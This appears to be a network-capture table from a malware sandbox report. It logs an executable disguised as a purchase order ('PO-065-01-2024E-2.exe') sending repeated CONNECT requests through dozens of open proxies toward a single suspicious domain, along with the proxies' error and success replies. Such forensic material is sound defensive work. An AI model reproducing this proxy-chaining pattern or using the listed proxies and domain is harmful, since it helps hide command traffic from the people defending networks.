Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.858858109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.10	54506	162.159.243.178	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.920082092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.081223965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.10	55076	172.232.111.247	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.920217037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909641981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598568916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.777885914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.074527979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.396395922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:50.075261116 CET	739	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:49 GMT Server: case1 X-Frame-Options: SAMEORIGIN Content-Length: 535 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 61 6a 61 6e 65 65 73 68 6d 40 67 6f 69 74 64 65 76 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at rajaneeshm@goitdev.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.10	55175	74.119.144.60	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.927589893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.10	55168	185.32.6.121	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.930114031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.10	55160	45.125.222.97	47239	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.930115938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.10	55163	103.153.154.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.935029030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.10	53942	110.34.3.229	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.935642958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.122392893 CET	550	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 15:39:58 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1o Content-Length: 373 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.10	55172	103.166.141.74	20074	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.935777903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.10	55174	111.90.150.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.945868969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.10	55177	201.71.3.42	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.947242022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598524094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504940987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.930402040 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.10	55173	119.3.215.41	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.948708057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.10	54589	201.184.53.180	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.998079062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.10	55171	103.83.232.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.000071049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.10	54660	162.214.170.144	39503	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.001944065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098507881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.207859993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.208093882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.10	54699	162.253.68.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.005387068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.10	55179	139.224.64.191	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.022316933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.357060909 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 16:39:53.357863903 CET	716	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.10	51505	201.71.3.52	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.056314945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098434925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.177007914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.315773010 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.10	55188	129.213.150.205	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.075282097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.290848017 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.10	54767	203.222.24.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.087728024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

